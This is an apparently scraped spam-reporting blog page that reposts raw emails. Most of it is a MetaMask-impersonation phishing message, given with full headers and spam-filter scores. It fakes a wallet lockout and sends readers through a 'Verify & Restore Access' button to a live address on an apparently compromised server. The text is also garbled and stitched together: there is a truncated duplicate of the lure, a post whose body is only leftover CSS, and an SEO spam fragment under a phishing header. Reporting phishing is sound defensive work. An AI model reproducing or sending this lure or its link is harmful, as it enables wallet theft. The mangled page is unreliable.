o your wallet and assets.





=20=20=20=20=20=20=20=20


color: #666;

text-align: center;

margin-top: 45px;

padding-top: 20px;

border-top: 1px solid #e8e8e8" class=3D"footer-text">

© 2026 MetaMask. All rights reserved.



This is an automated security message. Please do not reply t=

o this email          &nb=

sp;











Iraq funds spam

Posted by Dave Yadallee on
.recover-button:hover, .recover-button:focus {

background: linear-gradient(135deg, #e55a30, #d93a00);

transform: translateY(-2px);

box-shadow: 0 6px 16px rgba(255, 83, 0, 0.3);

}



.footer-text {

font-size: 13px;

color: #666;

text-align: center;

margin-top: 45px;

padding-top: 20px;

border-top: 1px solid #e8e8e8;

}



.steps-list {

background: #f7fafc;

padding: 20px;

border-radius: 8px;

margin: 25px 0;

}



.steps-list ol {

margin: 0;

padding-left: 20px;

}



.steps-list li {

margin-bottom: 12px;

color: #2d3748;

}



/ Media Queries for Responsiveness /

@media screen and (max-width: 640px) {

.email-container {

padding: 18px;

margin: 10px;

}



.ledger-logo {

max-width: 180px;

}



.email-header h2 {

font-size: 22px;

}

=20=20=20=20=20=20=20=20=20=20=20=20

.recover-button {

max-width: 100%;

}

}








f;

background-color: #f8fafc;

margin: 0;

padding: 0">


margin: 20px auto;

background-color: #ffffff;

padding: 25px;

border-radius: 8px;

box-shadow: 0 6px 20px rgba(0, 0, 0, 0.08)" class=3D"email-cont=

ainer">


border-bottom: 2px solid #f0f2f5;

padding-bottom: 15px;

margin-bottom: 25px" class=3D"email-header">


"border-color: rgb(0, 0, 0);" alt=3D"MetaMask Logo" src=3D"https://1000logo=

s.net/wp-content/uploads/2022/05/MetaMask-Emblem.png">



Security Alert - Immediate Action Required





=20=20=20=20=20=20=20=20




color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Dear Valued User,



=20=20=20=20=20=20=20=20=20=20=20=20


color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Our security system has detected an unusual sig=

n-in attempt on your MetaMask account from an unrecognized location. This a=

ctivity doesn't match your typical usage patterns.



=20=20=20=20=20=20=20=20=20=20=20=20


padding: 16px;

margin: 25px 0;

border: 1px solid #feb2b2;

border-left: 4px solid #e53e3e;

border-radius: 6px;

color: #c53030;

font-weight: 500" class=3D"alert-text">

To protect your digital assets, we have temporarily restric=

ted access to your wallet. This is a preventive measure against potential u=

nauthorized access.



=20=20=20=20=20=20=20=20=20=20=20=20

Immediate Recovery Steps:



=20=20=20=20=20=20=20=20=20=20=20=20


padding: 20px;

border-radius: 8px;

margin: 25px 0" class=3D"steps-list">


    padding-left: 20px">

  1. Click the button below to verify your identity and =

    restore wallet access


  2. Complete the quick security verification process
    i>

  3. Enable advanced security features to prevent future=

    incidents






=20=20=20=20=20=20=20=20=20=20=20=20


width: 100%;

max-width: 280px;

margin: 35px auto;

text-align: center;

padding: 14px 20px;

background: linear-gradient(135deg, #ff6b35, #ff5300);

color: #ffffff;

text-decoration: none;

border-radius: 8px;

font-weight: 600;

font-size: 16px;

letter-spacing: 0.5px;

transition: all 0.3s ease;

box-shadow: 0 4px 12px rgba(255, 83, 0, 0.2)" class=3D"recover-=

button" href=3D"http://159.203.124.87/wp-includes/assets/en/">Verify & =

Restore Access

=20=20=20=20=20=20=20=20=20=20=20=20


color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Time is important: Please comp=

lete this process within the next 24 hours to ensure uninterrupted access t=

o your wallet and assets.





=20=20=20=20=20=20=20=20


color: #666;

text-align: center;

margin-top: 45px;

padding-top: 20px;

border-top: 1px solid #e8e8e8" class=3D"footer-text">

© 2026 MetaMask. All rights reserved.



This is an automated security message. Please do not reply t=

o this email          &nb=

sp;











Metamask Phish Part 1

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 21 Feb 2026 19:57:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vtzdg-00000000Bjx-0u7Z

for dave@doctor.nl2k.ab.ca;

Sat, 21 Feb 2026 19:56:08 -0700

Resent-From: The Doctor

Resent-Date: Sat, 21 Feb 2026 19:56:08 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [131.143.136.7] (port=47722 helo=pmx3.hosttrik.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vtza5-00000000BTx-20Au

for doctor@nl2k.ab.ca;

Sat, 21 Feb 2026 19:52:59 -0700

Received: from cloud4.vihyper.net (cloud4.vihyper.net [212.64.215.48])

by pmx3.hosttrik.com (Postfix) with ESMTPSA id D70AA41ED644

for ; Sat, 21 Feb 2026 21:51:34 -0500 (EST)

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=durmazelektrik.com; s=default; h=Content-Transfer-Encoding:Content-Type:

MIME-Version:Message-ID:Date:Subject:To:From:Sender:Reply-To:Cc:Content-ID:

Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc

:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:

List-Subscribe:List-Post:List-Owner:List-Archive;

bh=yjVIA4B6J89LHbjC/zZV7m7X55U53zpMOxggaLhphjQ=; b=bNXcmO8pJk3tbsd3G/Z1BP7Q3b

tDRFqkSx/8BK/KPQTt1Fzz2DrQuxIER/pi5bHOGA0crNy5sVCdDhCiE1d0jjEFakHV7H9GAs6QagL

JXUY3342lU3Plw6DYLD6BwswlNkU0F7kcZKO5HsFMmx25VXXrp1Zbfx4wJJBirerfwNZH4PWxoGGM

TyhTp7aTMnmFsbFaPWrn256jW94QkXZkezKD/VOGmPsfaDoFnRsJPZDOU1XY0TChj0Rved0KVihf5

RNOfoVfMCRjl9JgyGbZFUVKcri+507I9yyCipXy6GYQYfrWuqd09CAymHB+fkAcktUN32S94ZG95V

gNbzR+yw==;

Received: from [180.93.232.184] (port=51987)

by cloud4.vihyper.net with esmtpsa (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99)

(envelope-from )

id 1vtzZA-00000000rrE-0dP7

for doctor@nl2k.ab.ca;

Sun, 22 Feb 2026 05:51:28 +0300

From: "=?UTF-8?B?TWV0YU1hc2s=?="

To: doctor@nl2k.ab.ca

Subject: =?UTF-8?B?SW1tZWRpYXRlIEFjdGlvbiBSZXF1aXJlZDogU3VzcGljaW91cyBMb2dpbiBEZXRlY3RlZA==?=

Date: 21 Feb 2026 20:51:16 -0600

Message-ID: <20260221205116.305E8BB29C4D7BBD@durmazelektrik.com>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - cloud4.vihyper.net

X-AntiAbuse: Original Domain - nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - durmazelektrik.com

X-Get-Message-Sender-Via: cloud4.vihyper.net: authenticated_id: durmazelektrik/from_h

X-Authenticated-Sender: cloud4.vihyper.net: info@durmazelektrik.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 9.6

X-Spam_score_int: 96

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Security Notice - Action Required Security Alert - Immediate

Action Required



Content analysis details: (9.6 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

0.0 T_SPF_HELO_TEMPERROR SPF: test of HELO record failed (temperror)

0.0 T_SPF_TEMPERROR SPF: test of record failed (temperror)

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 NORMAL_HTTP_TO_IP URI: URI host has a public dotted-decimal IPv4

address

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to

background

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

3.0 URI_WP_DIRINDEX URI for compromised WordPress site, possible malware

0.1 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

1.1 VFY_ACCT_NORDNS Verify your account to a poorly-configured MTA -

probable phishing

0.0 NORDNS_LOW_CONTRAST No rDNS + hidden text

2.0 URI_WP_HACKED_2 URI for compromised WordPress site, possible malware

Subject: {SPAM?} =?UTF-8?B?SW1tZWRpYXRlIEFjdGlvbiBSZXF1aXJlZDogU3VzcGljaW91cyBMb2dpbiBEZXRlY3RlZA==?=














=3D1.0">

Security Notice - Action Required








f;

background-color: #f8fafc;

margin: 0;

padding: 0">


margin: 20px auto;

background-color: #ffffff;

padding: 25px;

border-radius: 8px;

box-shadow: 0 6px 20px rgba(0, 0, 0, 0.08)" class=3D"email-cont=

ainer">


border-bottom: 2px solid #f0f2f5;

padding-bottom: 15px;

margin-bottom: 25px" class=3D"email-header">


"border-color: rgb(0, 0, 0);" alt=3D"MetaMask Logo" src=3D"https://1000logo=

s.net/wp-content/uploads/2022/05/MetaMask-Emblem.png">



Security Alert - Immediate Action Required





=20=20=20=20=20=20=20=20




color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Dear Valued User,



=20=20=20=20=20=20=20=20=20=20=20=20


color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Our security system has detected an unusual sig=

n-in attempt on your MetaMask account from an unrecognized location. This a=

ctivity doesn't match your typical usage patterns.



=20=20=20=20=20=20=20=20=20=20=20=20


padding: 16px;

margin: 25px 0;

border: 1px solid #feb2b2;

border-left: 4px solid #e53e3e;

border-radius: 6px;

color: #c53030;

font-weight: 500" class=3D"alert-text">

To protect your digital assets, we have temporarily restric=

ted access to your wallet. This is a preventive measure against potential u=

nauthorized access.



=20=20=20=20=20=20=20=20=20=20=20=20

Immediate Recovery Steps:



=20=20=20=20=20=20=20=20=20=20=20=20


padding: 20px;

border-radius: 8px;

margin: 25px 0" class=3D"steps-list">


    padding-left: 20px">

  1. Click the button below to verify your identity and =

    restore wallet access


  2. Complete the quick security verification process
    i>

  3. Enable advanced security features to prevent future=

    incidents






=20=20=20=20=20=20=20=20=20=20=20=20


width: 100%;

max-width: 280px;

margin: 35px auto;

text-align: center;

padding: 14px 20px;

background: linear-gradient(135deg, #ff6b35, #ff5300);

color: #ffffff;

text-decoration: none;

border-radius: 8px;

font-weight: 600;

font-size: 16px;

letter-spacing: 0.5px;

transition: all 0.3s ease;

box-shadow: 0 4px 12px rgba(255, 83, 0, 0.2)" class=3D"recover-=

button" href=3D"http://159.203.124.87/wp-includes/assets/en/">Verify & =

Restore Access

=20=20=20=20=20=20=20=20=20=20=20=20


color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Time is important: Please comp=

lete this process within the next 24 hours to ensure uninterrupted access t=

o your wallet and assets.





=20=20=20=20=20=20=20=20


color: #666;

text-align: center;

margin-top: 45px;

padding-top: 20px;

border-top: 1px solid #e8e8e8" class=3D"footer-text">

© 2026 MetaMask. All rights reserved.



This is an automated security message. Please do not reply t=

o this email          &nb=

sp;











Metamask Phish Part 1

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 21 Feb 2026 19:57:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vtzdc-00000000Bjp-3Ay7

for dave@doctor.nl2k.ab.ca;

Sat, 21 Feb 2026 19:56:04 -0700

Resent-From: The Doctor

Resent-Date: Sat, 21 Feb 2026 19:56:04 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [131.143.136.7] (port=47712 helo=pmx3.hosttrik.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vtza5-00000000BTv-1WG9

for doctor@netknow.ca;

Sat, 21 Feb 2026 19:52:50 -0700

Received: from cloud4.vihyper.net (cloud4.vihyper.net [212.64.215.48])

by pmx3.hosttrik.com (Postfix) with ESMTPSA id 6937E41ED18A

for ; Sat, 21 Feb 2026 21:51:31 -0500 (EST)

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=durmazelektrik.com; s=default; h=Content-Transfer-Encoding:Content-Type:

MIME-Version:Message-ID:Date:Subject:To:From:Sender:Reply-To:Cc:Content-ID:

Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc

:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:

List-Subscribe:List-Post:List-Owner:List-Archive;

bh=yjVIA4B6J89LHbjC/zZV7m7X55U53zpMOxggaLhphjQ=; b=ljL+/O62L+RK2H+PY3g+Uy/4rK

OUgAEEWfAZn3EjasMgXX72iLY+4dA+2fuFP9H1sh0avs6JWSxYWMqn1LCnGQWsFGzRlm1lsU5mZq9

6Vg0MSlqkS6CAZPeAlbQcW1hzm7rZQen39clG3SJquTy/Qg7A7PGrkrMfECj7mbF4Qz8eJmSSO2VG

X1uxI1Jk6fjyaZN2uAnetVloUiYTkyZPaBA3MTfcTfOubO72Uslbrcaji3qNhmzEMpEw85h5H3bo0

sXJKSvdNZEGVQ422elv1ardbTyKujdEHEskNzPaGHFFnMjk0u5ly134jb0NLDqwe8EEGBYzMmIeRF

Y1tnKfZg==;

Received: from [180.93.232.184] (port=51567)

by cloud4.vihyper.net with esmtpsa (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99)

(envelope-from )

id 1vtzZ6-00000000r1U-1Lsh

for doctor@netknow.ca;

Sun, 22 Feb 2026 05:51:24 +0300

From: "=?UTF-8?B?TWV0YU1hc2s=?="

To: doctor@netknow.ca

Subject: =?UTF-8?B?SW1tZWRpYXRlIEFjdGlvbiBSZXF1aXJlZDogU3VzcGljaW91cyBMb2dpbiBEZXRlY3RlZA==?=

Date: 21 Feb 2026 20:51:16 -0600

Message-ID: <20260221205114.50BF3CCAB920B5A4@durmazelektrik.com>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - cloud4.vihyper.net

X-AntiAbuse: Original Domain - netknow.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - durmazelektrik.com

X-Get-Message-Sender-Via: cloud4.vihyper.net: authenticated_id: durmazelektrik/from_h

X-Authenticated-Sender: cloud4.vihyper.net: info@durmazelektrik.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 9.6

X-Spam_score_int: 96

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Security Notice - Action Required Security Alert - Immediate

Action Required



Content analysis details: (9.6 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

0.0 T_SPF_HELO_TEMPERROR SPF: test of HELO record failed (temperror)

0.0 T_SPF_TEMPERROR SPF: test of record failed (temperror)

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 NORMAL_HTTP_TO_IP URI: URI host has a public dotted-decimal IPv4

address

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to

background

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

3.0 URI_WP_DIRINDEX URI for compromised WordPress site, possible malware

0.1 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

2.0 URI_WP_HACKED_2 URI for compromised WordPress site, possible malware

0.0 NORDNS_LOW_CONTRAST No rDNS + hidden text

1.1 VFY_ACCT_NORDNS Verify your account to a poorly-configured MTA -

probable phishing

Subject: {SPAM?} =?UTF-8?B?SW1tZWRpYXRlIEFjdGlvbiBSZXF1aXJlZDogU3VzcGljaW91cyBMb2dpbiBEZXRlY3RlZA==?=














=3D1.0">

Security Notice - Action Required








Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);" clas=

s=3D"elementToProof">

Hello,



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

 



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

I checked your website you have an impressive site but ranking is not good =

on Google, Yahoo and Bing.



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

 



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

Would you like to optimize your site? I will be happy to share with you our=

pricing and proposals.



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

 



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

Let me know If you are interested, I will send you our SEO Packages and pri=

ce list.



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

 



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">

Thanks,








--_000_PU4P216MB2290E7784C626FF6DA3893D5C369APU4P216MB2290KORP_--